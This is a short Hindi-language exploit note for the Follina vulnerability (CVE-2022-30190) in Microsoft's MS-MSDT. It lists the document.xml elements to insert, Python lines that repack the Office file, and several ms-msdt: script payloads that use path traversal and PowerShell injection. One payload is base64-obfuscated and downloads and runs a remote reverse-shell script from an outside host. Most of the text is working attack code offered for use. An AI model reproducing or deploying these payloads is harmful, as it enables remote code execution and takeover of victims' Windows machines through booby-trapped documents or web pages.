
CVE-2022-30190 | MS-MSDT Follina एक क्लिक
CVE-2022-30190 | MS-MSDT Follina एक क्लिक
एक बार docx को नीचे दिए गए पैरामीटर चरण/पैरामीटर का उपयोग करके सहेजा गया। Docx को RTF के रूप में सहेजें।
यदि आप इन तत्वों को
<o:OLEObject>एलिमेंट के अंतर्गतword/document.xmlमें जोड़ते हैं:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
पुनः संपीड़न की प्रक्रिया JohnHammond के Python Script से भी देखी जा सकती है:
~ पुनः मूल ऑफिस फ़ाइल बनाएं ~
shutil.make_archive(args.output, "zip", doc_path)
os.rename(args.output + ".zip", args.output)
संदर्भ: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
Start-Process('calc') को इससे बदल सकते हैं:
IEX('calc.exe')
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
डिकोडेड: Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))
